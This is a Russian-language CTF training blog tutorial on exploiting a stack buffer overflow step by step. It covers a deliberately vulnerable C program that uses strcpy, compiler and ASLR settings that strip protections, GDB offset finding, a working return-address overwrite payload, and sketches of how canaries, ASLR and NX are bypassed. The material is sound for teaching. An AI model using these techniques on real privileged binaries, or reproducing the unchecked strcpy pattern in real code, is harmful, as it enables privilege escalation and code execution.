Главная / Блог / Buffer overflow с нуля: перезапись адреса возврата

8 мин.00

Buffer overflow с нуля: перезапись адреса возврата

Buffer overflow с нуля: перезапись адреса возврата

На первом CTF-таске по pwn я отправил в бинарник 200 символов «A», получил Segmentation fault и полез в GDB. EIP: 0x41414141. Четыре байта — ASCII-код буквы «A» — стоят на месте адреса возврата. Процессор попытался прыгнуть по адресу «AAAA» и предсказуемо лёг. В этот момент щёлкнуло: я контролирую, куда уйдёт выполнение после ret. Осталось два вопроса — сколько байт до адреса возврата и какой адрес туда подставить. Дальше — пошаговый разбор buffer overflow с нуля на одном конкретном бинарнике: от компиляции до работающего эксплойта, который повторит любой на Kali Linux.

Зачем атакующему переполнение буфера

Переполнение стека — не учебная абстракция. В MITRE ATT&CK этот приём сидит минимум в двух тактиках: T1203 (execution) — вредоносный ввод заставляет приложение выполнить произвольный код, и T1068 (privilege-escalation) — SUID-бинарник с переполнением превращается в дверь к root. Червь Морриса в 1988-м распространялся через переполнение буфера в Unix-демоне finger — базовый принцип с тех пор не изменился. Подробнее — в нашем статье о бинарный анализ уязвимостей.

Мотивация конкретна: если уязвимый процесс работает от привилегированной учётки (SUID root, системный демон), перехват потока управления через перезапись адреса возврата даёт выполнение произвольных команд от имени этого процесса. Один некорректный вызов strcpy — и атакующий получает шелл. Поэтому pwn для начинающих начинается с понимания стека: без этого фундамента дальше не уедешь.

Переполнение стека: что лежит за буфером

Прежде чем ломать — нужно разобраться с раскладкой памяти. При вызове функции в x86 (32 бит) стек растёт от старших адресов к младшим. Инструкция call кладёт на стек адрес следующей инструкции — это return address, куда процессор вернётся после ret. Затем пролог функции сохраняет текущий EBP (saved frame pointer) и выделяет место под локальные переменные.

Стековый кадр функции с буфером buf[64] выглядит так:

 Младшие адреса (вершина стека, ESP)
 ┌───────────────────────────┐
 │  buf[0] ... buf[63]       │  ← локальный буфер, 64 байта
 ├───────────────────────────┤
 │  saved EBP    (4 байта)   │  ← сохранённый указатель кадра
 ├───────────────────────────┤
 │  return address (4 байта) │  ← адрес возврата
 ├───────────────────────────┤
 │  аргументы функции        │
 └───────────────────────────┘
 Старшие адреса

Ключевой момент для понимания stack smashing: функции вроде strcpy и gets пишут данные от младших адресов к старшим — в направлении адреса возврата. Заполнил буфер — запись едет дальше: сначала затирает saved EBP, потом перезаписывает return address. Когда функция выполняет ret, процессор снимает перезаписанное значение со стека и прыгает по этому адресу. Если там адрес нужной нам функции — мы контролируем выполнение программы. По данным ctf101.org, именно этот механизм лежит в основе большинства базовых CTF-задач на pwn.

Buffer overflow пример: уязвимый бинарник

Создаём файл vuln.c. Функция win() не вызывается в нормальном потоке — цель эксплойта перенаправить на неё управление через переполнение:

#include <stdio.h>
#include <string.h>

void win() { puts("CTF{stack_smash_success}"); }

void vuln(char *input) {
    char buf[64];
    strcpy(buf, input);  // вот тут и начинается веселье
}

int main(int argc, char **argv) {
    vuln(argv[1]);
    return 0;
}

strcpy копирует строку без проверки длины. Если argv[1] длиннее 64 байт — запись выйдет за пределы buf и затрёт данные выше по стеку, включая адрес возврата.

Предусловия: Linux (Kali 2023+ или Ubuntu 22.04+), пакет gcc-multilib для 32-битной компиляции, GDB с GEF или pwndbg, Python 3.

Компилируем с отключёнными защитами — каждый флаг убирает конкретный барьер:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

Здесь -m32 собирает 32-битный бинарник (адреса 4 байта — проще для первого раза), -fno-stack-protector убирает stack canary, -z execstack отключает NX/DEP (разрешает выполнение кода на стеке), -no-pie фиксирует адреса функций.

Дополнительно отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Без этого адреса стека рандомизируются при каждом запуске, и фиксированный адрес в эксплойте не сработает. Забыть про эту строчку — классические грабли, на которые наступают все.

GDB: анализ переполнения стека

Загружаем бинарник: gdb ./vuln. Ставим точку останова b vuln и запускаем с коротким аргументом: r AAAA. GDB останавливается на входе в функцию.

Смотрим дизассемблирование: disas vuln. Находим инструкцию выделения памяти под буфер (вида sub $0xNN,%esp) и финальный ret. Это границы функции.

Проверяем текущий адрес возврата: x/wx $ebp+4. GDB покажет что-то вроде 0x080491xx — адрес в main после вызова vuln. Запоминаем — именно это значение мы будем перезаписывать.

Теперь кормим длинную строку: r $(python3 -c "print('A'*100)"). Программа ляжет с SIGSEGV. Если стоит GEF или pwndbg, регистры отобразятся автоматически: EIP покажет 0x41414141. Наши «A» затёрли адрес возврата. Переполнение подтверждено — переходим к вычислению точного смещения.

Вычисляем смещение до адреса возврата

Главная ошибка новичков — считать смещение по размеру буфера. Буфер 64 байта плюс 4 байта saved EBP — значит, offset 68? Не обязательно. Компилятор добавляет выравнивание (alignment padding), и реальное расстояние между началом buf и адресом возврата может отличаться от теоретического. Проверять нужно на конкретном бинарнике — арифметика на салфетке тут не работает.

Способ 1 — арифметика в GDB. Перезапускаем с r AAAA, останавливаемся на breakpoint. Выполняем p/d $ebp + 4 - (int)&buf. GDB выведет расстояние в байтах. Допустим, результат — 76. Это точное смещение от начала буфера до первого байта адреса возврата. Подход описан в курсе CSE 127 (UCSD) и работает в любом отладчике с доступом к стеку.

Способ 2 — циклический паттерн Metasploit. Генерируем уникальную строку: msf-pattern_create -l 100. Получаем последовательность Aa0Aa1Aa2..., где каждые 4 байта неповторимы. Передаём как аргумент. Программа падает, в EIP оказываются 4 конкретных байта. Копируем значение EIP и подставляем: msf-pattern_offset -l 100 -q 0x63413563. Ответ: Exact match at offset 76.

Проверка. Формируем строку из 76 байт «A» и 4 байт «B»:

r $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'BBBB')")

Если EIP показывает 0x42424242 (hex-код «B») — смещение верное, мы точно попадаем в адрес возврата. Частые грабли на этом этапе: использовать print() в Python 3 вместо sys.stdout.buffer.write(). print добавляет перенос строки и кодирует в UTF-8 — бинарные данные ломаются, и вместо красивого 0x42424242 получаешь непонятный мусор в EIP и полчаса отладки.

Перезапись адреса возврата: написание эксплойта

Узнаём адрес функции win() в GDB: p win. Вывод: $1 = {void ()} 0x08049196 (конкретное значение зависит от компилятора). Адрес фиксирован, потому что мы собрали бинарник без PIE.

Критический нюанс — порядок байт. x86 использует little-endian: младший байт записывается в младший адрес. Адрес 0x08049196 в памяти выглядит как \x96\x91\x04\x08. Забыть про little-endian — вторая по частоте ошибка после неправильного смещения. Я на первом эксплойте потерял на этом час (записал байты в прямом порядке, получал SIGSEGV по адресу 0x96910408 и не мог понять, почему).

Запускаем эксплойт:

./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')")

Результат: CTF{stack_smash_success}.

Функция win(), которая никогда не вызывалась в нормальном коде, получила управление. Разберём по шагам: strcpy скопировала 80 байт в 64-байтный буфер. Первые 76 байт заполнили буфер, выравнивание и saved EBP. Последние 4 байта перезаписали return address адресом win(). Инструкция ret сняла перезаписанный адрес со стека и передала управление. В реальной эксплуатации вместо удобной win() целью станет шеллкод (shellcode инъекция) или ROP-цепочка, но сам механизм перезаписи адреса возврата — тот же самый.

Stack canary, ASLR и NX: что мешает в реальных бинарниках

Мы отключили три механизма защиты. В боевых бинарниках они включены по умолчанию — и каждый добавляет головной боли.

Stack canary (флаг GCC -fstack-protector). Компилятор вставляет случайное значение — «канарейку» — между локальными переменными и saved EBP. Перед ret значение проверяется: если изменилось, процесс завершается с *** stack smashing detected ***. Обход: утечка значения канарейки через format string уязвимость или побочный канал.

ASLR (Address Space Layout Randomization). ОС рандомизирует базовые адреса стека, кучи и разделяемых библиотек при каждом запуске. Жёстко зашитый адрес перестаёт работать. Обход ASLR на 32-бит: brute force (адресное пространство маленькое — реально за тысячи попыток), утечка адресов через GOT/PLT, NOP sled для увеличения окна попадания.

NX/DEP (No-Execute / Data Execution Prevention). Запрещает выполнение данных как кода на стеке. Даже если положить шеллкод в буфер и прыгнуть туда — процессор откажется выполнять. Обход: Return-Oriented Programming — цепочки из фрагментов уже загруженного кода (gadgets), которые делают нужные операции без шеллкода.

На CTF-площадках задачи по pwn выстроены как прогрессия: сначала переполнение без защит, потом NX + ret2libc, потом ASLR + утечка адресов, потом canary + format string. Каждый уровень наращивает сложность, но опирается на понимание базового механизма — того самого, что мы разобрали выше. Формула на бумаге понятна, но перезапись адреса возврата по-настоящему ощущается только когда сам прогоняешь эксплойт на живом стенде. На HackerLab.pro есть категория pwn с задачами разного уровня сложности — можно начать с простых переполнений и дойти до ROP-цепочек; нужна регистрация, после неё доступны все таски.

Большинство новичков в pwn застревают не на технике, а на переходе от чтения к практике. Первый buffer overflow с нуля занимает часы: разобраться с GDB, понять little-endian, поймать правильное смещение, справиться с python3 вместо python2. Второй — полчаса. Десятый — минуты. Наблюдаю один и тот же паттерн: человек прочитал статью, посмотрел видео, уверен что «всё понял» — а при попытке повторить получает бесконечные SIGSEGV не по тому адресу. Типичные грабли: забытый ASLR (не выключил randomize_va_space), print() вместо sys.stdout.buffer.write(), расхождение между теоретическим и реальным смещением из-за выравнивания компилятора. Теория переполнения стека умещается в один абзац, навык — в десятках повторений.

Часто вижу, как люди пропускают «чистое» переполнение и сразу берутся за ROP или heap exploitation. Путь к разочарованию: без интуитивного понимания стекового кадра каждый следующий шаг превращается в копирование writeup'ов без понимания. Один пошаговый разбор бинарника от gcc до перезаписи EIP даёт больше, чем десять прочитанных решений. Если хочешь пройти этот путь системно, а не тыкаться по случайным туториалам — IB Basics с нуля до первых задач, без академического тона.

🚀 Хочешь закрепить на практике? CTF-задачи и лабы ждут на HackerLab.

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Path Traversal и LFI уязвимости: гайд для CTF

14 мин.

4

Path Traversal и LFI уязвимости: гайд для CTF

Пошаговый разбор path traversal и LFI: обход фильтров, PHP wrappers, цепочки LFI to RCE, log poisoning — с пейлоадами и командами для CTF

9 СЕНТЯБРЬ, 2026

Bash скрипты для CTF: автоматизация разведки

14 мин.

6

Bash скрипты для CTF: автоматизация разведки

Три bash-скрипта для CTF с построчным разбором: автоматизация разведки, брутфорс HTTP-форм, парсинг вывода. Коллекция one-liners и 5 ошибок новичков.

9 СЕНТЯБРЬ, 2026

XXE инъекция: эксплуатация в CTF от А до Я

12 мин.

6

XXE инъекция: эксплуатация в CTF от А до Я

Полный арсенал XXE эксплуатации для CTF: чтение файлов, SSRF к облачным метаданным, blind OOB-эксфильтрация, error-based XXE и обход WAF с рабочими пейлоадами.

8 СЕНТЯБРЬ, 2026